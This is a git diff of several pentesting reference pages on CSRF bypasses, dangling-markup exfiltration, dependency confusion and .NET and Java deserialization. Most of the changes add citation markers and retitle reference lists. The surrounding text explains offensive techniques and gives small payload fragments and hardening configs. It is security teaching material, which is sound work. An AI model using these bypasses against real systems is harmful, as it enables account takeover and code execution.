POST body** or - `X-HTTP-Method-Override` - `X-Method-Override` -Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers can’t issue them; with overrides, you can still reach those handlers via POST. +Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers can’t issue them; with overrides, you can still reach those handlers via POST.[[6]](#references) Example request and HTML PoC: @@ -152,7 +152,7 @@ username=admin&_method=DELETE ### Custom header token bypass -If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then: +If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then:[[2]](#references) - Test the request without the **custom token and the header.** - Test the request with exact **same length but different token**. @@ -165,7 +165,7 @@ Modern applications often build authenticated requests in frontend JavaScript us - Frontend code may automatically append custom CSRF headers or bearer tokens for you. - `Origin` / `Referer` checks can look completely legitimate because the request is emitted by the trusted frontend. -This turns path/URL manipulation into a CSRF primitive even when classic cross-site form PoCs fail. A common pattern is chaining a **user-controlled GET sink** into a second **authenticated POST/PUT/DELETE sink**. +This turns path/URL manipulation into a CSRF primitive even when classic cross-site form PoCs fail. A common pattern is chaining a **user-controlled GET sink** into a second **authenticated POST/PUT/DELETE sink**.[[10]](#references) Quick hunting checklist: @@ -191,13 +191,13 @@ Minimal gadget ideas: { "id": "../CSPT_PAYLOAD", "%PDF": "1.4" } ``` -The first shape abuses validators that only look for `WEBP` magic bytes at a fixed offset. The second abuses PDF checks that only require `%PDF` near the beginning of the file. +The first shape abuses validators that only look for `WEBP` magic bytes at a fixed offset. The second abuses PDF checks that only require `%PDF` near the beginning of the file.[[11]](#references) ### CSRF token is verified by a cookie Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie. -However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack. +However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.[[2]](#references) Below is an example of how an attack could be structured: @@ -275,7 +275,7 @@ Applications may validate the 'Referer' header only when it's present. To preven ``` -This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications. +This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications.[[3]](#references)[[4]](#references) **Regexp bypasses** @@ -284,7 +284,7 @@ This ensures the 'Referer' header is omitted, potentially bypassing validation c ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do: +To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:[[3]](#references)[[4]](#references) ```html @@ -319,7 +319,7 @@ To set the domain name of the server in the URL that the Referrer is going to se The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**. -Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**. +Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**.[[9]](#references) ### Browser-to-localhost / local service CSRF @@ -348,7 +348,7 @@ For a real-world case study, check [this other page about browser-to-localhost a ### Stored CSRF via user-generated HTML -When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies. +When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.[[6]](#references) - If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims. @@ -360,7 +360,7 @@ Minimal example that changes the viewer’s email when loaded: ### Login CSRF chained with stored XSS -Login CSRF alone may be low impact, but chaining it with an authenticated stored XSS becomes powerful: force the victim to authenticate into an attacker-controlled account; once in that context, a stored XSS in an authenticated page executes and can steal tokens, hijack the session, or escalate privileges. +Login CSRF alone may be low impact, but chaining it with an authenticated stored XSS becomes powerful: force the victim to authenticate into an attacker-controlled account; once in that context, a stored XSS in an authenticated page executes and can steal tokens, hijack the session, or escalate privileges.[[6]](#references) - Ensure the login endpoint is CSRF-able (no per-session token or origin check) and no user interaction gates block it. - After forced login, auto-navigate to a page containing the attacker’s stored XSS payload. @@ -865,17 +865,16 @@ with open(PASS_LIST, "r") as f: ## References -- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) -- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) -- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) -- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) -- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) -- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities) -- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf) -- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) -- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf) -- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery) -- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/) -- [Doyensec: Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery](https://blog.doyensec.com/2024/07/02/cspt2csrf.html) -- [Doyensec: Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [1] [PortSwigger Web Security Academy: Cross-site request forgery (CSRF)](https://portswigger.net/web-security/csrf) +- [2] [PortSwigger Web Security Academy: Bypassing CSRF token validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) +- [3] [PortSwigger Web Security Academy: Bypassing referer-based CSRF defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) +- [4] [Bypass Referer Check Logic for CSRF](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) +- [5] [VTENEXT 25.02 – A Three-Way Path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [6] [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities) +- [7] [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf) +- [8] [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) +- [9] [Google CTF 2023 - web-vegsoda solution writeup](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) +- [10] [Doyensec: Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery](https://blog.doyensec.com/2024/07/02/cspt2csrf.html) +- [11] [Doyensec: Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 911bec500e3..935a16bc48b 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -5,7 +5,7 @@ ## Resume This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/index.html)but you can **inject some HTML tags**.\ -It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution. +It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.[[1]](#references)[[2]](#references)[[3]](#references) Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...). @@ -13,7 +13,7 @@ Several techniques commented here can be used to bypass some [**Content Security ### Stealing clear text secrets -If you inject `[[2]](#references)[[3]](#references) If the `img` tag is forbidden (due to CSP for example) you can also use ` ``` -For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) +For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)[[6]](#references) ### \[[7]](#references)\ At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work. ```html @@ -260,9 +260,12 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_marku ## References -- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057) -- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/) -- [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/) -- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) +- [1] [Content Spoofing? Yes, HTML injection!](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057) +- [2] [lcamtuf: Post-XSS Exploitation](http://lcamtuf.coredump.cx/postxss/) +- [3] [The Spanner: HTML scriptless attacks](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/) +- [4] [PortSwigger Research: Evading CSP with DOM-based dangling markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) +- [5] [PortSwigger Research: Stealing passwords from infosec Mastodon without bypassing CSP](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) +- [6] [PortSwigger Research: Bypassing CSP with dangling iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) +- [7] [Securitum: Security analysis of the portal element](https://research.securitum.com/security-analysis-of-portal-element/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md index 80ffd95be9e..5c9b9dcff91 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md @@ -2,9 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -**Check the post [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)** - -{{#include ../../banners/hacktricks-training.md}} +**Check the post [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**[[1]](#references) +## References +- [1] [From XS-Leaks to SS-Leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dependency-confusion.md b/src/pentesting-web/dependency-confusion.md index 5f939b01d6d..fd525e343e3 100644 --- a/src/pentesting-web/dependency-confusion.md +++ b/src/pentesting-web/dependency-confusion.md @@ -30,7 +30,7 @@ Developers frequently leave versions unpinned or allow wide ranges. When a resol ### Related pattern: compromise of a legitimate package release -Dependency confusion is not the only way to get install-time execution. If an attacker compromises the maintainer account or publishing token of a legitimate package, they can publish a malicious version of the real package and obtain code execution on every machine that installs it. +Dependency confusion is not the only way to get install-time execution. If an attacker compromises the maintainer account or publishing token of a legitimate package, they can publish a malicious version of the real package and obtain code execution on every machine that installs it.[[5]](#references) Common pattern in the npm ecosystem: - The attacker modifies only `package.json` and adds a new dependency. @@ -71,7 +71,7 @@ Practical notes: ### Obfuscated Node.js droppers and manifest laundering -Malicious install hooks often try to survive quick review by: +Malicious install hooks often try to survive quick review by:[[5]](#references) - Hiding C2 strings or commands behind layered transforms such as reversed Base64, XOR, or split strings. - Dynamically loading Node modules (`fs`, `os`, `child_process`, `execSync`) only at runtime to reduce obvious static indicators. - Deleting the dropper after execution and restoring a benign-looking manifest. @@ -86,7 +86,7 @@ After infection, the installed dependency directory may look clean unless invest ### `npx` binary-to-package confusion -`npx ` is a **different supply-chain primitive** from classic dependency confusion. If no explicit `--package` is given, npm first tries to resolve `` as an executable from the local `node_modules/.bin`, global bins, installed package trees, and the `npx` cache. If none of those checks succeed, npm treats the same string as a **package name**, installs it into `~/.npm/_npx//`, prepends `node_modules/.bin` from that cache entry to `PATH`, and executes it. +`npx ` is a **different supply-chain primitive** from classic dependency confusion. If no explicit `--package` is given, npm first tries to resolve `` as an executable from the local `node_modules/.bin`, global bins, installed package trees, and the `npx` cache. If none of those checks succeed, npm treats the same string as a **package name**, installs it into `~/.npm/_npx//`, prepends `node_modules/.bin` from that cache entry to `PATH`, and executes it.[[9]](#references)[[10]](#references)[[11]](#references) That means an attacker can win with **binary-name takeover** even when there is no public/private registry precedence issue: @@ -116,12 +116,12 @@ Practical hardening: ## AWS Fix -This vulnerability was found in AWS CodeArtifact (read the details in this blog post). AWS added controls to mark dependencies/feeds as internal vs external so the client won’t fetch “internal” names from upstream public registries. +This vulnerability was found in AWS CodeArtifact (read the details in this blog post). AWS added controls to mark dependencies/feeds as internal vs external so the client won’t fetch “internal” names from upstream public registries.[[2]](#references) ## Finding Vulnerable Libraries -In the original post about dependency confusion the author looked for thousands of exposed manifests (e.g., `package.json`, `requirements.txt`, lockfiles) to infer internal package names and then published higher-versioned packages to public registries. +In the original post about dependency confusion the author looked for thousands of exposed manifests (e.g., `package.json`, `requirements.txt`, lockfiles) to infer internal package names and then published higher-versioned packages to public registries.[[1]](#references) ## Practical Attacker Playbook (for red teams in authorized tests) @@ -184,7 +184,7 @@ package.json (for internal package) } ``` -Yarn Berry (.yarnrc.yml) +Yarn Berry (.yarnrc.yml)[[4]](#references) ``` npmScopes: company: @@ -227,7 +227,7 @@ If you must reach public PyPI, do it via your internal proxy and maintain an exp ### .NET (NuGet) -Use Package Source Mapping to tie package ID patterns to explicit sources and prevent resolution from unexpected feeds. +Use Package Source Mapping to tie package ID patterns to explicit sources and prevent resolution from unexpected feeds.[[3]](#references) nuget.config ``` @@ -360,11 +360,11 @@ bundle config set disable_multisource true - Gradle: commit `verification-metadata.xml` and fail on unknown artifacts. - Outbound egress control: block direct access from CI to public registries except via the approved proxy. - Name reservation: pre-register your internal names/namespaces in public registries where supported. -- Package provenance / attestations: when publishing public packages, enable provenance/attestations to make tampering more detectable downstream. +- Package provenance / attestations: when publishing public packages, enable provenance/attestations to make tampering more detectable downstream.[[7]](#references) ### Detecting unauthorized publishes in trusted-publisher pipelines -If a package normally uses npm trusted publishing with GitHub Actions or GitLab OIDC, a release pushed with a stolen classic token often looks different from legitimate releases. +If a package normally uses npm trusted publishing with GitHub Actions or GitLab OIDC, a release pushed with a stolen classic token often looks different from legitimate releases.[[6]](#references) Useful heuristics: - The package version exists in the registry but lacks the expected trusted-publisher / provenance metadata. @@ -377,7 +377,7 @@ This is not limited to dependency confusion: it also catches compromise of maint ### Cooldown / age-gate controls for fresh releases -Fresh malicious versions are often detected and removed quickly. Delaying adoption of newly published versions can block a large class of opportunistic supply-chain compromises: +Fresh malicious versions are often detected and removed quickly. Delaying adoption of newly published versions can block a large class of opportunistic supply-chain compromises:[[8]](#references)[[12]](#references)[[13]](#references) ```yaml # pnpm-workspace.yaml @@ -405,19 +405,18 @@ These controls do **not** replace lockfiles or trusted publishing, but they redu ## References -- [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) -- [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d) -- [https://learn.microsoft.com/en-us/nuget/consume-packages/package-source-mapping](https://learn.microsoft.com/en-us/nuget/consume-packages/package-source-mapping) -- [https://yarnpkg.com/configuration/yarnrc/](https://yarnpkg.com/configuration/yarnrc/) -- [https://www.tenable.com/blog/faq-about-the-axios-npm-supply-chain-attack-by-north-korea-nexus-threat-actor-unc1069](https://www.tenable.com/blog/faq-about-the-axios-npm-supply-chain-attack-by-north-korea-nexus-threat-actor-unc1069) -- [https://docs.npmjs.com/trusted-publishers/](https://docs.npmjs.com/trusted-publishers/) -- [https://docs.npmjs.com/generating-provenance-statements](https://docs.npmjs.com/generating-provenance-statements) -- [https://docs.npmjs.com/cli/v11/using-npm/changelog/](https://docs.npmjs.com/cli/v11/using-npm/changelog/) -- [https://docs.npmjs.com/cli/v11/commands/npm-exec/](https://docs.npmjs.com/cli/v11/commands/npm-exec/) -- [https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective](https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective) -- [https://www.aikido.dev/blog/npx-confusion-unclaimed-package-names](https://www.aikido.dev/blog/npx-confusion-unclaimed-package-names) -- [https://pnpm.io/settings](https://pnpm.io/settings) -- [https://bun.sh/docs/runtime/bunfig](https://bun.sh/docs/runtime/bunfig) - +- [1] [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) +- [2] [Dependency confusion in AWS CodeArtifact](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d) +- [3] [NuGet Package Source Mapping - Microsoft Learn](https://learn.microsoft.com/en-us/nuget/consume-packages/package-source-mapping) +- [4] [Yarn - .yarnrc.yml configuration reference](https://yarnpkg.com/configuration/yarnrc/) +- [5] [Frequently Asked Questions About the Axios npm Supply Chain Attack by North Korea-Nexus Threat Actor UNC1069 - Tenable](https://www.tenable.com/blog/faq-about-the-axios-npm-supply-chain-attack-by-north-korea-nexus-threat-actor-unc1069) +- [6] [About trusted publishers - npm Docs](https://docs.npmjs.com/trusted-publishers/) +- [7] [Generating provenance statements - npm Docs](https://docs.npmjs.com/generating-provenance-statements) +- [8] [npm CLI v11 changelog](https://docs.npmjs.com/cli/v11/using-npm/changelog/) +- [9] [npm exec command reference - npm Docs](https://docs.npmjs.com/cli/v11/commands/npm-exec/) +- [10] [npx Used Confusion and It's Super Effective](https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective) +- [11] [npx Confusion: Packages That Forgot to Claim Their Own Name](https://www.aikido.dev/blog/npx-confusion-unclaimed-package-names) +- [12] [pnpm Settings reference (minimumReleaseAge)](https://pnpm.io/settings) +- [13] [Bun bunfig.toml runtime configuration reference](https://bun.sh/docs/runtime/bunfig) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index c7ed56f6508..ade6a6d2e18 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -109,7 +109,7 @@ object obj = xs.Deserialize(reader); If the attacker controls both the **type name** and the **XML body**, `ExpandedWrapper<..., ObjectDataProvider>` can make `XmlSerializer` materialise an `ObjectDataProvider` in `ProjectedProperty0`. This is why **ExpandedWrapper** keeps showing up in real-world .NET deserialization bugs: the vulnerable code does **not** need to deserialize `Process` or `ObjectDataProvider` directly, it only needs to let the attacker pick a root type that `XmlSerializer` can instantiate. -A practical example is the historical **DotNetNuke `DNNPersonalization`** cookie bug, where attacker-controlled XML was deserialized after resolving the type with `Type.GetType(...)`. A minimal payload shape looks like: +A practical example is the historical **DotNetNuke `DNNPersonalization`** cookie bug, where attacker-controlled XML was deserialized after resolving the type with `Type.GetType(...)`.[[9]](#references) A minimal payload shape looks like: ```xml @@ -247,7 +247,7 @@ namespace DeserializationTests ### Json.NET exploitation prerequisites -Before assuming that `$type` is enough for RCE, quickly verify these conditions: +Before assuming that `$type` is enough for RCE, quickly verify these conditions:[[8]](#references) - The application must deserialize **attacker-controlled JSON** with `TypeNameHandling` different from `None` (`Auto`, `Objects`, or `All` are the usual dangerous values). - If the target uses a restrictive `SerializationBinder` / `ISerializationBinder`, arbitrary gadget resolution may be blocked even when `TypeNameHandling` is enabled. @@ -256,7 +256,7 @@ Before assuming that `$type` is enough for RCE, quickly verify these conditions: ## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) -The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats. +The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.[[1]](#references)[[2]](#references)[[3]](#references) Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads. @@ -273,7 +273,7 @@ Below is a condensed reference of the most useful chains shipped with *YSoNet* t > [!TIP] > All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients). -For this specific page, the important takeaway is that **YSoNet's `ObjectDataProvider` generator is not limited to Json.NET**. It currently supports several other interesting sinks, including **`XmlSerializer (2)`**, **`JavaScriptSerializer`**, **`Xaml (4)`**, and **`DataContractSerializer (2)`**, so the same gadget is reusable even when `$type` injection is not happening through JSON. +For this specific page, the important takeaway is that **YSoNet's `ObjectDataProvider` generator is not limited to Json.NET**. It currently supports several other interesting sinks, including **`XmlSerializer (2)`**, **`JavaScriptSerializer`**, **`Xaml (4)`**, and **`DataContractSerializer (2)`**, so the same gadget is reusable even when `$type` injection is not happening through JSON.[[1]](#references) ### Building / Installing YSoNet @@ -295,7 +295,7 @@ The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. ## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter -A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows: +A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:[[4]](#references) - Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`. - Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64‐encoded serialized data. The result is cast to string and inserted into the HTML. @@ -335,7 +335,7 @@ For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore an - Root cause: Unauthenticated deserialization of attacker-controlled data using legacy formatters: - `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`. - `ReportingWebService` performs unsafe deserialization via `SoapFormatter`. -- Impact: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`). +- Impact: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).[[5]](#references)[[6]](#references)[[7]](#references) Practical exploitation notes - Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads. @@ -345,13 +345,15 @@ Practical exploitation notes - `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe` ## References -- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) -- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) -- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) -- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) -- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/) -- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287) -- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287) -- [Json.NET – Serialization Settings (`TypeNameHandling` and `SerializationBinder` warning)](https://www.newtonsoft.com/json/help/html/serializationsettings.htm) -- [nefariousplan – CVE-2017-9822: The Patch Encrypted the Cookie. The Deserializer Is Still Public.](https://nefariousplan.com/posts/dotnetnuke-cve-2017-9822-deserializer-still-public) + +- [1] [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) +- [2] [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) +- [3] [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) +- [4] [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [5] [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/) +- [6] [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287) +- [7] [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287) +- [8] [Json.NET – Serialization Settings (`TypeNameHandling` and `SerializationBinder` warning)](https://www.newtonsoft.com/json/help/html/serializationsettings.htm) +- [9] [nefariousplan – CVE-2017-9822: The Patch Encrypted the Cookie. The Deserializer Is Still Public.](https://nefariousplan.com/posts/dotnetnuke-cve-2017-9822-deserializer-still-public) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md index 2216aef523d..9364e88c2e8 100644 --- a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md +++ b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md @@ -21,7 +21,7 @@ Any method in that chain that ends up invoking attacker-controlled data (command Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to be **executed**.\ In the example, the **readObject** function of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:** -**The following example is from ** +**The following example is from **[[3]](#references) ```java import java.io.Serializable; @@ -104,9 +104,9 @@ As you can see in this very basic example, the “vulnerability” here appears Recent cases are a good reminder that `ObjectInputStream` bugs are no longer just “upload a `.ser` file to a legacy HTTP endpoint”: -* **Broker / queue consumers**: Spring-Kafka (`CVE-2023-34040`) showed that deserializing exception headers from attacker-controlled topics is enough if the consumer enables the unusual `checkDeserExWhen*` flags. -* **Client-side trust of remote servers**: the Aerospike Java client (`CVE-2023-36480`) deserialized objects received from the server. The vendor response was notable: newer clients removed Java runtime serialization/deserialization support instead of trying to preserve it behind a weak filter. -* **“Restricted” streams are often still too broad**: `pac4j-core` (`CVE-2023-25581`) tried to protect deserialization with `RestrictedObjectInputStream`, but the accepted class set was still large enough to make gadget abuse possible. +* **Broker / queue consumers**: Spring-Kafka (`CVE-2023-34040`) showed that deserializing exception headers from attacker-controlled topics is enough if the consumer enables the unusual `checkDeserExWhen*` flags.[[4]](#references) +* **Client-side trust of remote servers**: the Aerospike Java client (`CVE-2023-36480`) deserialized objects received from the server. The vendor response was notable: newer clients removed Java runtime serialization/deserialization support instead of trying to preserve it behind a weak filter.[[5]](#references) +* **“Restricted” streams are often still too broad**: `pac4j-core` (`CVE-2023-25581`) tried to protect deserialization with `RestrictedObjectInputStream`, but the accepted class set was still large enough to make gadget abuse possible.[[2]](#references) The offensive lesson is that the dangerous trust boundary is often **not** “user uploads a blob”, but “some component the developer considered trusted can inject bytes into a stream that eventually reaches `readObject()`”. @@ -143,7 +143,7 @@ Even if your class itself is not an obvious RCE gadget, the following patterns a return (Message) ois.readObject(); } ``` -3. **JEP 415 (Java 17+) Context-Specific Filter Factories** +3. **JEP 415 (Java 17+) Context-Specific Filter Factories**[[1]](#references) Prefer this when the same JVM has multiple deserialization contexts (RMI, cache replication, message consumers, admin-only imports) and each one needs a different allow-list. 4. **Keep `readObject()` boring** Only call `defaultReadObject()` / explicit field reads, then perform strict invariant checks. Do not do I/O, logging that dereferences attacker-controlled objects, dynamic lookups, or method calls on deserialized sub-objects. @@ -167,7 +167,10 @@ Even if your class itself is not an obvious RCE gadget, the following patterns a ## References -- [OpenJDK JEP 415: 